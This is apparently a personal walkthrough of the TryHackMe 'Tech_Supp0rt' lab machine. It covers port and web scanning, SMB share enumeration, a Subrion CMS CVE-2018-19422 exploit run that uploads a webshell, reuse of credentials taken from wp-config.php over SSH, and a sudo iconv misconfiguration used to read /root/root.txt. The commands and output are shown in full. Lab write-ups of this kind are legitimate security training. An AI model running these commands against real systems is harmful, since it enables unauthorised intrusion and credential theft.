Tech_Supp0rt
TechSupport01
Room link: https://tryhackme.com/room/techsupp0rt1
Scanning
ajread@aj-ubuntu:~$ nmap -A [Remote IP]
Starting Nmap 7.80 ( https://nmap.org ) at 2022-05-16 21:27 EDT
Nmap scan report for [Remote IP]
Host is up (0.10s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 10:8a:f5:72:d7:f9:7e:14:a5:c5:4f:9e:97:8b:3d:58 (RSA)
| 256 7f:10:f5:57:41:3c:71:db:b5:5b:db:75:c9:76:30:5c (ECDSA)
|_ 256 6b:4c:23:50:6f:36:00:7c:a6:7c:11:73:c1:a8:60:0c (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: TECHSUPPORT; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h50m00s, deviation: 3h10m30s, median: -1s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: techsupport
| NetBIOS computer name: TECHSUPPORT\x00
| Domain name: \x00
| FQDN: techsupport
|_ System time: 2022-05-17T06:57:53+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-05-17T01:27:52
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.52 secondsEnumeration
I saw that there was a http server running on port 80. I ran nikto to see if there are any glaring vulnerabilities.
ajread@aj-ubuntu:~$ nikto -h [Remote IP]
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: [Remote IP]
+ Target Hostname: [Remote IP]
+ Target Port: 80
+ Start Time: 2022-05-16 21:30:55 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x2c39 0x5c367f4428b1f
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ OSVDB-3233: /phpinfo.php: Contains PHP configuration information
+ OSVDB-3092: /test/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ Uncommon header 'link' found, with contents: </wordpress/index.php/index.php/wp-json/>; rel="https://api.w.org/"
+ /wordpress/: A Wordpress installation was found.
+ 6544 items checked: 0 error(s) and 8 item(s) reported on remote host
+ End Time: 2022-05-16 21:42:14 (GMT-4) (679 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedI also ran nikto and pointed at the wordpress subdomain.
ajread@aj-ubuntu:~$ nikto -h http://[Remote IP]/wordpress
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: [Remote IP]
+ Target Hostname: [Remote IP]
+ Target Port: 80
+ Start Time: 2022-05-16 21:31:48 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'link' found, with contents: </wordpress/index.php/index.php/wp-json/>; rel="https://api.w.org/"
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ Uncommon header 'x-redirect-by' found, with contents: WordPress
+ Server leaks inodes via ETags, header found with file /wordpress/wp-content/plugins/akismet/readme.txt, fields: 0xa6c 0x5bc91a6024640
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ OSVDB-3092: /wordpress/license.txt: License file found may identify site software.
+ Cookie wordpress_test_cookie created without the httponly flag
+ Uncommon header 'x-frame-options' found, with contents: SAMEORIGIN
+ 6544 items checked: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2022-05-16 21:43:26 (GMT-4) (698 seconds)
---------------------------------------------------------------------------
+ 1 host(s) testedThere didnt appear to be anything glaring in either nikto outputs. Therefore, I attempted to enumerate the SMB side of the remote machine.
ajread@aj-ubuntu:~$ smbclient -L [Remote IP]
Enter WORKGROUP\ajread's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
websvr Disk
IPC$ IPC IPC Service (TechSupport server (Samba, Ubuntu))
SMB1 disabled -- no workgroup availableI checked out what sat in websvr share.
ajread@aj-ubuntu:~$ smbclient -U anonymous //[Remote IP]/websvr
Enter WORKGROUP\anonymous's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat May 29 03:17:38 2021
.. D 0 Sat May 29 03:03:47 2021
enter.txt N 273 Sat May 29 03:17:38 2021
8460484 blocks of size 1024. 5680216 blocks available
smb: \> I downloaded the enter.txt file and found some interesting information.
ajread@aj-ubuntu:~/TryHackMe/practice$ cat enter.txt
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website
IMP
===
Subrion creds
|->admin:[REDACTED] [cooked with magical formula]
Wordpress creds
|->Initial Access
I dropped the credentials into CyberChef and found the password for the admin user on Subrion. I didnt find the url through directory enumeration but I did find references to a Subrion panel. So, I connected to http://[Remote IP]/subrion/panel/ and logged in with the credentials found in the enter.txt file.
ajread@aj-ubuntu:~/TryHackMe/practice$ python3 49876.py -u http://[Remote IP]/subrion/panel/ -l admin -p Scam2021
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422
[+] Trying to connect to: http://[Remote IP]/subrion/panel/
[+] Success!
[+] Got CSRF token: ZKHFY91qSn9lg4xiQBL86zlohp6V13UZeqwcRfpI
[+] Trying to log in...
[+] Login Successful!
[+] Generating random name for Webshell...
[+] Generated webshell name: ipmdnscabuyyxrn
[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: http://[Remote IP]/subrion/panel/uploads/ipmdnscabuyyxrn.phar
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-dataWith some hints from https://www.infosecarticles.com/tech-support-tryhackme-walkthrough/, I did some recon to find a wp-config.php file in the wordpress directory.
$ ls -la /var/www/html/wordpress/wp-config.php
-rwxr-xr-x 1 www-data www-data 2992 May 29 2021 /var/www/html/wordpress/wp-config.phpThe file had credentials for an SQL database.
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wpdb' );
/** MySQL database username */
define( 'DB_USER', 'support' );
/** MySQL database password */
define( 'DB_PASSWORD', '[REDACTED]' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );Then, I was able to use the credentials and ssh into the target with a username that I saw in the home folder earlier.
ajread@aj-ubuntu:~/TryHackMe/practice$ ssh scamsite@[Remote IP]
scamsite@[Remote IP]'s password:
scamsite@TechSupport:/$ whoami
scamsite
scamsite@TechSupport:/$ id
uid=1000(scamsite) gid=1000(scamsite) groups=1000(scamsite),113(sambashare)I looked for what I could run as sudo.
scamsite@TechSupport:/$ sudo -l
Matching Defaults entries for scamsite on TechSupport:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User scamsite may run the following commands on TechSupport:
(ALL) NOPASSWD: /usr/bin/iconvPrivilege Escalation
I checked GTFO Bins to see my options. It looks like running inconv with 8859_1 encoding allows you to run any single-byte sequence (https://gtfobins.github.io/gtfobins/iconv/). With that information, I was able to read the root flag!
scamsite@TechSupport:/$ sudo iconv -f 8859_1 -t 8859_1 "/root/root.txt"
[REDACTED] -
scamsite@TechSupport:/$ sudo iconv -f 8859_1 -t 8859_1 "/root/root.txt" | wc -c
44Assistance
As referenced earlier, I used https://www.infosecarticles.com/tech-support-tryhackme-walkthrough/ to point me to the credentials in the wp-config.php file to ssh. After that point, the walkthrough was not used.
Last updated